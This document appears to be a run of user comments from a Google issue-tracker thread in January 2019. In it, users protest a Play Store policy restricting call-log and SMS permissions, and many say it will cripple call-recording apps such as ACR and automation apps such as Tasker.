Why has Google declared war on these apps? We paid for these apps! Call recording is legal in most places with one or two party consent! I had an insurance adjuster lie to me on the phone shortly after I updated to Pie after release. My call recording app failed without me knowing. I'm trying to appeal decisions that they've made and I only have one side of the conversation where he admits he mislead me.

Perhaps Google needs to concentrate on the malware on the Play store and leave these legitimate apps alone!

mi...@gmail.com <mi...@gmail.com> #794Jan 13, 2019 10:09PM

There is a clear statement in the permissions asked by the app to the user and that statement shall enable the user to get in exchange what he wants or pays for. I am a paid user of ACR pro and I want to keep what I am using. I can not belive that Google wants to send their customers to other app stores or encourage rooting permissions enable.
It is disappointing the least to see the very respectful and creative company turning into the one I have ledt behind years ago for their exaggerated policy.

sa...@gmail.com <sa...@gmail.com> #795Jan 13, 2019 10:09PM

This is ridiculous! My family has a restraining order that requires the phone calls between my kids and their mother be recorded to ensure she no longer speaks with them inappropriately as ordered by the court. I depend on this app to record those conversations and without these permissions I have no way of organizing these calls so that it is verified who the conversation is with. I'm a huge fan of Google but this restriction does not act in the users best interest or their freedom to record, organize, or keep their intellectual property.

dj...@aol.com <dj...@aol.com> #796Jan 13, 2019 10:09PM

glad to see Google following in Apple's foot steps, and telling people what app they can and can't use by changing permissions.

ca...@gmail.com <ca...@gmail.com> #797Jan 13, 2019 10:11PM

Request: don't harm or restrict apps that use call-log or SMS permissions

se...@gmail.com <se...@gmail.com> #798Jan 13, 2019 10:11PM

google, wtf is going on?

ne...@gmail.com <ne...@gmail.com> #799Jan 13, 2019 10:11PM

I have ACR installed and I'm happy with it. If Google PS restrict it then I might opt to delete the whole Google PS and download the full version from Hwawei store.

ja...@gmail.com <ja...@gmail.com> #800Jan 13, 2019 10:14PM

I understand the impulse to protect users from apps collecting too much data, but apps luke ACR, which are SPECIFICALLY RELATED TO PHONE CALLS need there's permissions. How useful is a call recording app if I cant sort or search by who called?

fi...@gmail.com <fi...@gmail.com> #801Jan 13, 2019 10:14PM

Time to root. We do notebooka Luke wojen some tryb to catch our freedom to tide. #case4Anonymous

ya...@gmail.com <ya...@gmail.com> #802Jan 13, 2019 10:14PM

Google, please stop! I need to use Call recording Apps. I want to continue to use my favorite Call Recorder App. It is very useful for me. Let me decide myself.

mn...@gmail.com <mn...@gmail.com> #803Jan 13, 2019 10:14PM

Please don't ruin Android OS.

jo...@gmail.com <jo...@gmail.com> #804Jan 13, 2019 10:14PM

I use ACR. I have granted it access to do the things I want. I understand what you are trying to do, but they need an exception.

Hear them and grant it.

al...@gmail.com <al...@gmail.com> #805Jan 13, 2019 10:15PM

This one is forcing developers and users to switch to alternative app markets.

go...@gmail.com <go...@gmail.com> #806Jan 13, 2019 10:17PM

People paid money for apps that record calls.
This is ridiculous that you come up with this policy.
Let the end user to choose from the app permissions menu if he wants yo allow apps to record calls or have access to their numbers.
The whole idea with Android is to be open-source and yet to be secured enough.
Shame on you Google.

ya...@gmail.com <ya...@gmail.com> #807Jan 13, 2019 10:17PM

I have ACR installed too. It is very helpful.

ak...@gmail.com <ak...@gmail.com> #808Jan 13, 2019 10:18PM

Please, change this policy to make call recording live.

ag...@gmail.com <ag...@gmail.com> #809Jan 13, 2019 10:18PM

The popular ACR app is going to be very negatively affected by this. They asked for an exception (since it's a recording app) but were denied the exception BECAUSE they are a recording app. Wild bureaucracy going on here.

ja...@gmail.com <ja...@gmail.com> #810Jan 13, 2019 10:19PM

Google, reconsider your decision and allow 3rd. party apps to continue doing what they do so well. I really don't want to go back to iPhone. Love using Google android as it now exist. Thanks

je...@gmail.com <je...@gmail.com> #811Jan 13, 2019 10:19PM

I use this all the time. It has protected me many times. Our state allows it why don't you?

vi...@gmail.com <vi...@gmail.com> #812Jan 13, 2019 10:20PM

Acr, tasker, etc... That's why we have chosen Android ecosystem. Don't be Apple, don't be evil

an...@gmail.com <an...@gmail.com> #813Jan 13, 2019 10:20PM

I think such broad policy is harful for most users. Such proccess is important for most users using call record apps, such apps have a very important goal to prove calls when a dispute arise especialy when it is legal to record calls I take part in, so if it is legal in mt country it illegal for Google to prevent me fro doing recording my calls and using call recording apps.

Please stop this hunt of apps usage of permissions. Android is supposed to be free of these things.

If you wish developers to have a good reason, just force them to explain the reason for each permission usage in the app description, and then decide if it's legitimate or not.

Each case and its own. Rules shouldn't exist so broadly

en...@gmail.com <en...@gmail.com> #814Jan 13, 2019 10:21PM

Please allow call recording exceptions to legitimate apps like ACR and Tasker

ch...@gmail.com <ch...@gmail.com> #815Jan 13, 2019 10:22PM

ACR is so important and one of the reasons I use android and not apple. Perhaps limit it to only incoming calls?

ni...@gmail.com <ni...@gmail.com> #816Jan 13, 2019 10:22PM

Allow call recording!

dd...@gmail.com <dd...@gmail.com> #817Jan 13, 2019 10:22PM

I too use a call recording app, which is legal without second party consent in most states, and is no different from writing down conversations except that it is more accurate. Google is actually failing to protect it's users by disabling permissions to these apps.

ch...@gmail.com <ch...@gmail.com> #818Jan 13, 2019 10:23PM

Ie so that ACR and other call recording apps can only record incoming calls. Outgoing calls will then be anonymous.

cb...@gmail.com <cb...@gmail.com> #819Jan 13, 2019 10:23PM

Many law enforcement and legal professionals depend heavily on ACR and other call recording software. Please leave the permission handling up to the user like it already is.

py...@gmail.com <py...@gmail.com> #820Jan 13, 2019 10:23PM

Call recording is one of android's killer feature. IPhone not having it, is one of the biggest culprits in owning an iPhone. Surely there is a way to keep ACR permissions, otherwise it would be useless. I make calls to automated gates, and there's no reason in the world ACR will not be able to avoid recording those and bloat my recordings history.

co...@gmail.com <co...@gmail.com> #821Jan 13, 2019 10:23PM

Non potete restringere le app come ACR!! Non è giusto e io voglio ACR con le stesse funzionalità di adesso

eb...@gmail.com <eb...@gmail.com> #822Jan 13, 2019 10:24PM

Please Google, don't do this!

kb...@gmail.com <kb...@gmail.com> #823Jan 13, 2019 10:24PM

I like that ACR can store the phone number with the recording.

jc...@gmail.com <jc...@gmail.com> #824Jan 13, 2019 10:24PM

I am an ACR user and your restrictions will cripple the app. STOP MAKING DECISIONS FOR LOWEST COMMON DENOMINATOR. If I don't lock my front door and somebody comes into my house (phone), it is my fault. It is not the police's for not being parked in front of my house watching it. People are responsible for the crap they install on their devices.

b....@gmail.com <b....@gmail.com> #825Jan 13, 2019 10:25PM

Allow call recording please. Don't make us sideload the apps we need.

er...@gmail.com <er...@gmail.com> #826Jan 13, 2019 10:25PM

Another vote to not implement this rule. Using a call recorder is vital to my daily work and crippling these apps is unnecessary. Keep developers responsible for the permissions they require and let users decide what they wish to allow.

jo...@gmail.com <jo...@gmail.com> #827Jan 13, 2019 10:26PM

Why deny call recoding apps the ability to get access to the phone number that called. I bought a legal call recording program and obviously want to be able to search for calls by phone number. Forcing them to all be 'unknown number' is obviously rediculous. Make/approve an exception for call recording apps Google.

mj...@gmail.com <mj...@gmail.com> #828Jan 13, 2019 10:26PM

I'm a user of these apps, please don't limit the functionality, it would reduce the usefulness of the platform greatly for me.

jo...@gmail.com <jo...@gmail.com> #829Jan 13, 2019 10:26PM

I'm not even sure how I'll run my business when this takes effect.

si...@gmail.com <si...@gmail.com> #830Jan 13, 2019 10:26PM

Please Google, recording calls is useful for interviews, I'm a journalist

la...@gmail.com <la...@gmail.com> #831Jan 13, 2019 10:26PM

I'm a user of ACR, an app that does this. I WANT my app to record the phone numbers of my calls, on purpose. I'm currently using a phonecall recorder and I really don't understand why are you taking rights away from your users. Wrong decision....change your mind please...

sg...@gmail.com <sg...@gmail.com> #832Jan 13, 2019 10:26PM

Hey alphagooglebet knock off the stupid crap. I do a lot of stuff where I need court admissable call logs and recordings. The current version of these apps are legally admissable. Change it to where I have to add identifying info manually and they'll be thrown out every time. Quit breaking stuff that works perfectly fine and go fix some stuff that is actually broken. You're about to make a lot of people's lives a hell of a lot harder. I thought your job was to make life easier? Undo this or I will switch to another platform entirely, like apple (and I suspect more than a few other professionals will too). And I really don't see why you are getting your panties in a bunch any. You guys leverage the tech to constantly track the crap out of us, down to how many squares we use and in what direction we wipe. What is wrong with allowing us to leverage some of that tracking tech to cover our asses? After all, it's not like you're going to stop tracking every call we send or receive

sp...@gmail.com <sp...@gmail.com> #833Jan 13, 2019 10:26PM

Dearest Google,
Once again the over-reaching an overzealous powers of Google extend into our lives where we do not want them. I don't know and I don't understand why Google does not seem to place any belief in simple fact that even the most prolific giant can be toppled.
I am not an enemy of Google. I have used and enjoyed their services for many years. However I have watched the erosion of privacy and The invasion of over-reaching an overbearing completely one-sided c-suite decisions at Google take place which include very little if any of the understandings, wishes and thoughts of its clients and customers.
This is yet but just another example of Google feeling too big for its britches and out of touch with reality. As customers begin to wane and find other providers do to these types of decisions, just don't scratch your head and wonder why. You have brought it upon yourself with ridiculous and frankly idiotic decisions like this.

We have customers have every right to record our phone calls if we wish and to have the ability to do so with no impediment by the service provider such as Google.

contrary to popular belief the NSA and Google do not yet on this country and with every effort we will ensure that that never happens. I realize you've already mentally taken ownership of that possibility and frankly we the people have had enough. Again I'm no troll and I've been a big Google fan and paying customer for years but enough is enough is enough.

S Brown

ar...@gmail.com <ar...@gmail.com> #834Jan 13, 2019 10:27PM

Google policies should not restrict access to incoming and outgoing phone numbers for those apps that depend on having this data as part of their core functionality (e.g., ACR Call Recorder). Disallowing this access permission renders such apps virtually useless to the end user and severely impacting user experience, and ultimately reflects poorly on the Android platform. Instead please consider allowing the end users choose whether or not s/he wants to allow such access to individual apps as is the case with numerous other permissions. Google does not and should not have a monopoly on Android platform users' call data.

an...@turanski.com <an...@turanski.com> #835Jan 13, 2019 10:27PM

Google/Android/Google Play Store teams - I appreciate wanting to protect us users from apps that may be using permissions covertly, but Tasker and ACR (Automatic Call Recorder) are 2 examples of apps I depends on every single day that will no longer be able to function well or at all for some main use cases given this. Hope about strong warnings to users when requesting this permission so they can make a smart decision and exemptions for use cases like these 2 which are clearly understood by their users?

Please reconsider!
Andreas

jr...@gmail.com <jr...@gmail.com> #836Jan 13, 2019 10:28PM

I use ACR. It is my business what permissions I grant or don't.

If Google thinks they can dictate, we, the users, can change the dynamic. While I have preferred Android, I will change to any platform that allows me to make the decisions about what does or does not work on my device. Apple, Windows, something else, I don't care as long as I can do what I think best.

ho...@diegoquintero.pro <ho...@diegoquintero.pro> #837Jan 13, 2019 10:28PM

Please do not restrict or disallow access to this critical information for apps like ACR, or other call trackers. It will only lead to users like us to start using other app stores or even worst, to dangerous APK.
Tese apps and services has been in use for many time, please allow us to continue using them.

mo...@gmail.com <mo...@gmail.com> #838Jan 13, 2019 10:28PM

What is wrong with Google? I use ACR Pro and I would like to record my calls which legally I can do in my one party state. Although I do understand that it will still record it just won't automatically fill in the person or number, why is this information now such a big deal I'm okay with them having access to it and I'm a big boy and allowed their app to have access to it. It should just be a permission deal. From my understanding ACR has asked to get permission and you denied it for no good reason. What is wrong with Google?

jo...@gmail.com <jo...@gmail.com> #839Jan 13, 2019 10:29PM

I'm a paying user of ACR Pro. I'm perfectly fine with the current permission system... And yet Google suddenly decides to play sheriff and Big Brother at the same time, forcing me into accepting "protection" I never asked for, effectively rendering useless an app I need. Please stop messing with my phone!

ad...@googlemail.com <ad...@googlemail.com> #840Jan 13, 2019 10:29PM

The Android operating system clearly asks the users which permissions to allow to an app. Why does Google feel the need to decide which permissions we can or can't allow. I legitimately use ACR. The functionality of ACR whilst being limited is not actually affected by this issue. Calls will still be recorded and as a user we are able to tag the recording with a number - so what exactly does this achieve other than allowing Google to throw their weight around. If I wanted to be dictated to by a large organisation about what I can or can't have on my phone, I would have gone Apple iPhone. I think it's about time that Google gave users the right to use their phone in they way that they choose. Freedom for users!!!

m....@googlemail.com <m....@googlemail.com> #841Jan 13, 2019 10:29PM

Show call recording access to my phone book, and call lists please. I use ACR loads and it is very useful. Why make such a stupid rule up? Surely it is up to us, the end users, to accept our decline these permissions.

This is what makes Android better than IOS. Don't destroy this.

ch...@gmail.com <ch...@gmail.com> #842Jan 13, 2019 10:29PM

Apps need this permission. Google needs to independently review each app for their needs. Not just blanket deny and remove features we actually paid for....

da...@gmail.com <da...@gmail.com> #843Jan 13, 2019 10:30PM

Please allow call tracking in apps such as ACR Pro. I use this for my business as I am required by law to keep a record of data pertinent to the files created for clients. Automatically allowing the program to create the file name using the phone number, date and time has made it easy to access these files by client and customer to sort them into each file. Without these features, it will create additional work that will cost extra as a person will need to be hired to listen to the call to determine who it is and then change the file name. If the call resulted in a "no answer" or voicemail, it could make it considerably more difficult to determine who the call was made to. Additionally, if the incoming caller did not leave enough information to determine the account by phone number (as sometines happens), it may not be possible to determine which account the call belongs to.

as...@gmail.com <as...@gmail.com> #844Jan 13, 2019 10:30PM

The whole point of permissions was to give user a choice, allow or deny. Whole idea of android. If you don't give us an option to record calls, at least let us choose apps that we want. Stop copying Apple, this is ridiculous.

ma...@gmail.com <ma...@gmail.com> #845Jan 13, 2019 10:30PM

I'm just a user and I'm simply bring my money in. The only reason I still haven't switched back to Apple is the ability to record any given phone call for my personal protection, memory issues or whatever other need. That was the only reason, and I mean it, as (imho) Android goes down, worse with every next update.
Given that said, if Google ruins that, I would better restore my iPhone 4s from ashes than stay with Android any longer.
Period.

dz...@gmail.com <dz...@gmail.com> #846Jan 13, 2019 10:30PM

To be honest posibilty od using apps such as acr is one of the main reasons to use android at all.
Disabling features like recognizing caller to decide whether to record call effectively kills the app.
Don't be evil

tr...@gmail.com <tr...@gmail.com> #847Jan 13, 2019 10:30PM

Another vote against. It is my phone and i should be the one to dictate what apps have what permissions. This is over reaching and should not be allowed. Google, this is a lousy move...

ad...@googlemail.com <ad...@googlemail.com> #848Jan 13, 2019 10:31PM

The Android operating system clearly asks the users which permissions to allow to an app. Why does Google feel the need to decide which permissions we can or can't allow. If I wanted to be dictated to by a large organisation about what I can or can't have on my phone, I would have gone Apple iPhone. I think it's about time that Google gave users the right to use their phone in they way that they choose. Freedom for users!!!

an...@gmail.com <an...@gmail.com> #849Jan 13, 2019 10:31PM

Please reconsider this blanket policy to prevent purpose-built Android call apps from using call number data. It is critical to link recorded calls to the number which they were received. This functionality is extremely important to my business tasks, and inherently fundamental to the benefits of the Android platform. Please continue to allow this basic function for many hundreds of thousands of users who rely on it. Please!!!!

sb...@gmail.com <sb...@gmail.com> #850Jan 13, 2019 10:32PM

I use a call recorder and this will negatively affect my experience. How can Google think this is a good policy?

da...@gmail.com <da...@gmail.com> #851Jan 13, 2019 10:33PM

Google this is not acceptable, I will stop using play store and download legitimate apps like ACR so I can keep the functionality I need. Please explain why this is so important. If there is a legitimate security concern then address the concern without harming the legitimate and useful apps. Your a technology company build the technology to meet the need.

gg...@gmail.com <gg...@gmail.com> #852Jan 13, 2019 10:33PM

One would think that major complaints from some of the most techie apps on the Store, and hundreds of their users, would bring some insight and common sense to Google erratic behavior.

One is surprised to see unreasonable and unjustifiable lack of response and set of limitations Google is imposing to a once thriving app environment.

Not surprised to see people wondering where to go to have some liberty.

Now, if Google were to make something reasonable on the store, common sense would go for the "clean out all the spammerish apps out there and let the working ones alone" approach, but it doesn't seem to be the case.

va...@gmail.com <va...@gmail.com> #853Jan 13, 2019 10:34PM

Omg google is really messing up. I use this every day and listen to my calls with my late husband. I think this is going to affect us all. Is there something we can do to fight this arbitrary decision from Google??

om...@gmail.com <om...@gmail.com> #854Jan 13, 2019 10:34PM

If you don't reverse or give exception to Call Recorder apps I'm going to drop android.

sp...@gmail.com <sp...@gmail.com> #855Jan 13, 2019 10:39PM

Please do not restrict ACR or call recorder apps since they allow for me to retain proper consumer rights and allow for me to keep a record of calls I make on behalf of my own company. These apps are essential tools for both consumers and business owners.

um...@gmail.com <um...@gmail.com> #856Jan 13, 2019 10:40PM

Can you please stop this nonsense. Most of android users prefer it because more functions available on it. You are ruining android. And please fire the people who are responsible of this mess. I can guarantee you, if you continue with copying iOS people will use iOS, not android.

fo...@gmail.com <fo...@gmail.com> #857Jan 13, 2019 10:40PM

You don't do that changes

du...@gmail.com <du...@gmail.com> #858Jan 13, 2019 10:40PM

I agree with the idea of fmore control over permissions, but there is no reason to simply shut down those services. People are using them because they are useful!!!

da...@gmail.com <da...@gmail.com> #859Jan 13, 2019 10:41PM

This is too restrictive from Google. Do not remove that feature.

wi...@gmail.com <wi...@gmail.com> #860Jan 13, 2019 10:42PM

I drive a tow truck for a living and depend apps that allow numbers as well as a recording that I can rely back on since they allow a reference of the calls, either incoming or out going. With this change in Google's policy I am know forced to pull over, even in an unsafe position if need be to write down whatever information I need to proceed with a possible tow call.

Google's decision to disallow this practice will now put not only my life as well as other fellow drivers in danger but also for possible loss of business.

ko...@gmail.com <ko...@gmail.com> #861Jan 13, 2019 10:42PM

Google, do not act stupidly. You will loose customers by crippling apps like that. ACR should be excluded from the changes.

de...@gmail.com <de...@gmail.com> #862Jan 13, 2019 10:43PM

Give ACR recordings the exception the need to keep their app the way it is now!!!!!!

jv...@gmail.com <jv...@gmail.com> #863Jan 13, 2019 10:43PM

Google,
I use ACR call recording for business purposes. It is my understanding that I will no longer be able to access features that I have paid for due to your policy changes about permission access. If I have allowed these permissions, then who are you to override my decision? Simply, this move makes software I have purchased through play store unusuable for it's intended purpose and I expect a full refund from Google for this product. Additionally, should I find that it is functioning as desired in iOS, I will be switching out my platform for my entire company and cancelling my Google account. You people sell me down the river continually by tracking my every move and selling it to your "partners", but you won't let an app I have purchased, through you, track the information of incoming callers. I guess their privacy is worth more than mine. Luckily, I know just how to fix it. Do the right thing here Google, I can't be the only one annoyed enough to do something about this.
Jason Peters
Changewater Equipment Services

ba...@gmail.com <ba...@gmail.com> #864Jan 13, 2019 10:43PM

Also chiming in on behalf of ACR Call Recorder app, please don't cripple Android like this.

da...@gmail.com <da...@gmail.com> #865Jan 13, 2019 10:43PM

I have ADD, and have a problem with remembering verbal information. This app is a lifesaver for me so that I can reference conversations I've had on the phone when needed. Limiting this functionality, really affects my life. I hope that you change the allowable exceptions for people like me to be able to use this invaluable app.

ch...@gmail.com <ch...@gmail.com> #866Jan 13, 2019 10:43PM

I use this app to keep my daughter safe from her mentally and physically abusive mother. There have been times that I have used this app in court to prove abuse. Please don't take away permissions, I was fully aware of the permissions when I downloaded the app. Please stop trying to take away options of apps. I purchased my phone and this app stop trying to take away my right to do what I want with my things.

al...@gmail.com <al...@gmail.com> #867Jan 13, 2019 10:44PM

+1.
I use ACR to record calls, its been an incredibly useful tool. This change renders the app completely useless. Surely forcing people to sideload such apps will be just as much of a security issue?

cy...@gmail.com <cy...@gmail.com> #868Jan 13, 2019 10:44PM

App by app basis is needed for this ACR app! Access to numbers is expected when using a CALL recording app.

eu...@gmail.com <eu...@gmail.com> #869Jan 13, 2019 10:45PM

É lamentável que a empresa queira criar dificuldades aos seus usuários na maior vantagem que a mesma possui sobre o corrente iPhone. Pior que a possibilidade deste em migrar para o corrente, perderão um grande defensor do mesmo! Convém lembrar que os softwares de gravação não são proibidos na maioria dos países, como é o caso do Brasil.

li...@gmail.com <li...@gmail.com> #870Jan 13, 2019 10:45PM

Keep it up, I'll switch to Apple. They're not so stupid! Maybe even to Nokia as soon as their new system is ready.

vi...@gmail.com <vi...@gmail.com> #871Jan 13, 2019 10:46PM

For long time, there were only large companies which recorded us et every single call. Call recording was the thing which was for our own protection, too. You can't just take that from us. I thought life in cage is only Apple user's manner.

ef...@gmail.com <ef...@gmail.com> #872Jan 13, 2019 10:46PM

Google you are becoming worse than Apple

mi...@gmail.com <mi...@gmail.com> #873Jan 13, 2019 10:47PM

Google, this is ridicolous. Restricting the user to only do what in your terms and feelings is 'politically' correct.
This is the way Apple always treatened it's customers and now you go the same way. Shame on you! You know what? That is one of the reasons a lot of Apple customers switched to Google. At least the people I talk to here in my region.

so...@gmail.com <so...@gmail.com> #874Jan 13, 2019 10:47PM

Google, how about giving me the choice whether or not I want to have an application use call number data. I use ACR to record calls so I can refer back later to important data.

fo...@gmail.com <fo...@gmail.com> #875Jan 13, 2019 10:47PM

I do not understand it! Because you eliminate the call recorder, do you know what helps the user when you have to claim the abuse of a company that wants to cheat us ??? DO NOT DO IT !!!!

j....@gmail.com <j....@gmail.com> #876Jan 13, 2019 10:47PM

Please exempt ACR from this decision. Their app has saved my life twice between divorce and false allegations. Please do not take the functionality of the app away. It has been one of the most useful tools on my device.

ju...@gmail.com <ju...@gmail.com> #877Jan 13, 2019 10:47PM

bu...@gmail.com <bu...@gmail.com> #878Jan 13, 2019 10:48PM

This is very unfortunate. I've used ACR call recorder for years and it's been very helpful. I had a family Court case going on and this app saved me. If I give a app permission to access my contacts, what is the problem. Giving permission only takes liability away from Google . I'm sure this will effect other apps I have as well but am not aware of yet. It feels as if our rights are being taken away. If I want to give a app access to my contacts, that between the app and myself. And I wasn't even notified by Google but my ACR app. And I've read you asking us to go through list to see if apps are excluded from this new policy and to change settings is ridiculous! You wanted it, you do it. I mean, we give you permission to access our phone! This kind of policy needs to go away unless Google is going to start buying our phones and paying our phone bill. Totally worse idea I've heard in a long while. Way to go google! You will probably be losing lots of customers!

bi...@gmail.com <bi...@gmail.com> #879Jan 13, 2019 10:48PM

Automatic Call logging and recording is a vital feature. So many call centres record information on their terms its necessary to have your own evidence. What are you doing google? You used to be the champions of the end user now you are just another corporate thinking you can force your rules on the public.
Leave call recording alone.

da...@gmail.com <da...@gmail.com> #880Jan 13, 2019 10:48PM

For the past year my irritation with google is growing exponentially. I use ACR call recording. What is wrong with you Google. Did you finish screwing up the 10 messaging apps you release every year or did you find a way to beat amazon at cloud computing. If you limit android the same way ios is limited then I will buy an IPhone.

mi...@gmail.com <mi...@gmail.com> #881Jan 13, 2019 10:48PM

Is it some form of licking lower back of Chinese government or what? Shouldn't it be a users choice what they agree for? It's interesting feeling that private company is taking away my freedom, but it's bad feeling... like character of science fiction novel.
Don't do evil is long gone...

sa...@gmail.com <sa...@gmail.com> #882Jan 13, 2019 10:48PM

Please don't ban ACR from being able to save the identity of the caller along with the recording of the call. My mother can be abusive and accuses me of things. I need these calls logged to protect me in the event that this goes to court.

mw...@gmail.com <mw...@gmail.com> #883Jan 13, 2019 10:49PM

I use apps that require this feature. I will still get them outside of the Google store, which just means I'll alternatives to the Google Store more frequently

sc...@gmail.com <sc...@gmail.com> #884Jan 13, 2019 10:49PM

Please do not change the policy for ACR. I use it and find the information quite helpful. I paid for this feature and would be quite disappointed if i were to lose it. Please reconsider. Thank you.

mo...@gmail.com <mo...@gmail.com> #885Jan 13, 2019 10:50PM

This should be just a permissions deal. Require the Recording App's to stress a well written this is what we are doing dialog and grant ACR an exemption. Let the users grant permissions I thought that is what we were doing. As another person pointed out you should go after all the spammy type apps you have on the play store. Now I'll have to look for a hack or outside of the playstore for an app that does what I trust ACR to do and they have been doing. I don't blame ACR and I got my moneys worth out of the app.

mr...@gmail.com <mr...@gmail.com> #886Jan 13, 2019 10:50PM

I am using ACR to prevent illegal abuse of my grand-parents : twice scammers stopped because I had recording of them trying to force my grand-parents to by insurance or useless services.
Please don't make my life harder...

Lo...@yahoo.co.uk <Lo...@yahoo.co.uk> #887Jan 13, 2019 10:50PM

I rely on this app heavily. Where it will be used as evidence in criminal cases. Potentially letting criminals walk free. If the evidence from these phone calls becomes inadmissable. Please reconsider how this will negatively impact the justice system. Also people's safety and efficientcy at work. Do not go ahead with these changes, as many from the community agree, that if it is not broken, please do not try justifying your time by fixing that which is not.

pl...@gmail.com <pl...@gmail.com> #888Jan 13, 2019 10:52PM

We are not happy with you Google.

il...@gmail.com <il...@gmail.com> #889Jan 13, 2019 10:52PM

Please grant an exception to ACR Call Recorder. I have paid for this app and have been using it for years.
I receive many calls with an influx of information, callers often catching me outside or in the middle of other things, so I'm not always able to remember or write everything down at the very moment. Call Recorder has saved me many times simply by allowing me to go back and verify various details at times that are more convenient for me. Nothing shady going on.

There are reasons people choose to go with Android rather than Apple, please don't make them regret it.

fo...@gmail.com <fo...@gmail.com> #890Jan 13, 2019 10:53PM

No entiendo nada!! Pero porqué vais a suprimir esta aplicación si es de las pocas que vale la pena!!!
Hoy por hoy los usuarios no tenemos muchas maneras de defendernos ante los abusos de las grandes empresas y grabar las conversaciones para poder demostrar la verdad es la única arma que tenemos para defendernos y también nos la vais a quitar?? 😡

ad...@gmail.com <ad...@gmail.com> #891Jan 13, 2019 10:53PM

ACR app shouldn't be affected by these new rules! It's call recording app which means it has to get permission for the caller ID please let the user choose whether he allows those permissions for those apps or not.

da...@gmail.com <da...@gmail.com> #892Jan 13, 2019 10:54PM

I want to be the one who decide what app shoud have access to call data. I use ACR to record my calls and I really want the app to automatically get info about phone number and contact data. Instead of having to ad this info manually for each recorder call.

co...@gmail.com <co...@gmail.com> #893Jan 13, 2019 10:54PM

I think google need to ask us for permission to do that. I am using ACR
from

nllapps.com ( the pro ver.) and I am very happy with it. What's the wrong with you Google??

ja...@gmail.com <ja...@gmail.com> #894Jan 13, 2019 10:57PM

I don't understand this nonsense, recording is allowed in.my country and I should not be punished by GOOGLE'S MASS PUNISHMENT.
Well, maybe this will help apple rise up again, by Google being as much as ignorant

my...@gmail.com <my...@gmail.com> #895Jan 13, 2019 10:58PM

Google - I am another ACR from

nllapps.com pro user. I need the call recordings so I am able to track my work tasks. Please give the USER the option to grant this permission, do NOT REMOVE OPTIONS! This would be a DOWNGRADE to Android!

lb...@gmail.com <lb...@gmail.com> #896Jan 13, 2019 10:59PM

Don't cripple acr I rely on this app to identify who called me and use it in everyday life I have paid for The full app and that is now money wasted if you do what your doing. Removing stuff like this is an apple move don't be Apple or I may as well have an iPhone

om...@gmail.com <om...@gmail.com> #897Jan 13, 2019 11:00PM

Why is this retroactive? At least make it a requirement for a new os. I guess I have to start doing again.

ch...@gmail.com <ch...@gmail.com> #898Jan 13, 2019 11:00PM

That policy will just result in turned off automatic updates for all of the call recorder and similar apps, which will lead to less security, instead of increasing it.

mr...@gmail.com <mr...@gmail.com> #899Jan 13, 2019 11:00PM

While I understand why Google restricting access to various parts of the phone it should be allowed for clients who want software to have access to have access. Every time Google doesn't this I want to use it less and less for my phone's OS. Applications that were stated to have certain functionality that will no longer work because of Google policy changes should be provided with a refund.

ok...@gmail.com <ok...@gmail.com> #900Jan 13, 2019 11:01PM

Dear Google team, is also my understanding that you guys are setting new changes that will affect the app ARC that allows me to record incoming and outgoing phone calls that I use for my work in social research. Please do not force this restriction or I will also cancel my Google account with you guys.

bd...@gmail.com <bd...@gmail.com> #901Jan 13, 2019 11:01PM

Allow ACR the permissions it needs for the app to function appropriately!!! I paid for the Pro version of this app and now Google wants to change the rules to negate it's function entirely??? PISSED!!!!

mi...@gmail.com <mi...@gmail.com> #902Jan 13, 2019 11:01PM

Don't do that!
At least allow apps like Tasker, ACR call recorder and SMS Backup & Restore - and maybe a lot of other handy apps I missed to mention in my list. I mean allow this at least for apps that have tons of downloads, the popular apps.
This decision is nooo good at all!

I paid for tasker, for acr and some more apps. You are destroying their business! And make the money I spent worthless.

ri...@gmail.com <ri...@gmail.com> #903Jan 13, 2019 11:03PM

I paid for ACR as I am a radio journalist and need it for reference and recording interviews for broadcast. If Google does this it will play havoc with my ability to identify recorded calls and will make my job extremely difficult. Please rethink your policy!

re...@gmx.de <re...@gmx.de> #904Jan 13, 2019 11:04PM

What you are doing makes me and many others look for alternatives. Not easy to find, but it is still possible... stop blocking relevant functionality, please.

ho...@gmail.com <ho...@gmail.com> #905Jan 13, 2019 11:05PM

Google, please allow users to decide instead of disabling apps like ACR.

go...@gmail.com <go...@gmail.com> #906Jan 13, 2019 11:05PM

One the greatest advantages that anroid have over iPhone is the recording features. If you think that android users will keep stay loyal to you after you will takeout this great feature you're absolutely wrong.
Siri, send message to google: "Elvis has left the building."

[Deleted User] <[Deleted User]> #907Jan 13, 2019 11:05PM

This restriction makes complete no sense Google! I'm the owner of my phone and I'm the one who decides which permission I want and which I don't want to give to the apps. Don't take decision for me, please! Reconsider it!

jd...@jdavey.ca <jd...@jdavey.ca> #908Jan 13, 2019 11:06PM

Google, please reconsider ACR call recorders application for exception to this new rule limiting access to incoming and outgoing numbers. I'm an ACR pro subscriber and your changes would cripple the application and render its functionality usless if they implement your required policy changes.

If the matter is arising out of privacy concerns, please consider an alternative implementation such as more granular security / policy options, have the option off by default, but please give users the CHOiCE to have this functionality available.

Thanks

si...@gmail.com <si...@gmail.com> #909Jan 13, 2019 11:07PM

The time has come:

https://docs.ubuntu.com/phone/en/

al...@gmail.com <al...@gmail.com> #910Jan 13, 2019 11:08PM

Thanks #898, I just disabled all Auto-updates for Google Play Store.
I would like to keep the original ACR features especially the ability to look up file names by phone numbers.
If this is the direction Google is heading, my next phone might as well be running IOS.

ri...@gmail.com <ri...@gmail.com> #911Jan 13, 2019 11:09PM

Please allow ACR the permissions it needs for the app to function appropriately!!! I paid for the Pro version of this app and now Google wants to change the rules to negate it's function entirely?

fa...@gmail.com <fa...@gmail.com> #912Jan 13, 2019 11:09PM

I am chosing my applications and giving grants. Why google is so crious about that. Permissions are for this. User must decide. Not os provider

mc...@gmail.com <mc...@gmail.com> #913Jan 13, 2019 11:10PM

Google, please allow users to decide instead of disabling apps like ACR.

ma...@gmail.com <ma...@gmail.com> #914Jan 13, 2019 11:10PM

Please reconsider the new policy regarding incoming and outgoing numbers. If this is required, perhaps it can be implemented another way.

se...@gmail.com <se...@gmail.com> #915Jan 13, 2019 11:11PM

Such a stupid policy... Good for making more apps and users go to other app stores such as Samsung's.

er...@gmail.com <er...@gmail.com> #916Jan 13, 2019 11:13PM

this is a absolutely ridiculous change for apps that provide a VERY VALUABLE asset to companies and individuals alike that rely on the functionality!

mi...@gmail.com <mi...@gmail.com> #917Jan 13, 2019 11:13PM

This is a terrible decision

sv...@gmail.com <sv...@gmail.com> #918Jan 13, 2019 11:13PM

On a daily basis I use a call recording app - ACR since call recording is not available in the OS itself and I need this functionality...
What should I do if the application is not available in Play Store? Use alternative market or sideload the application?
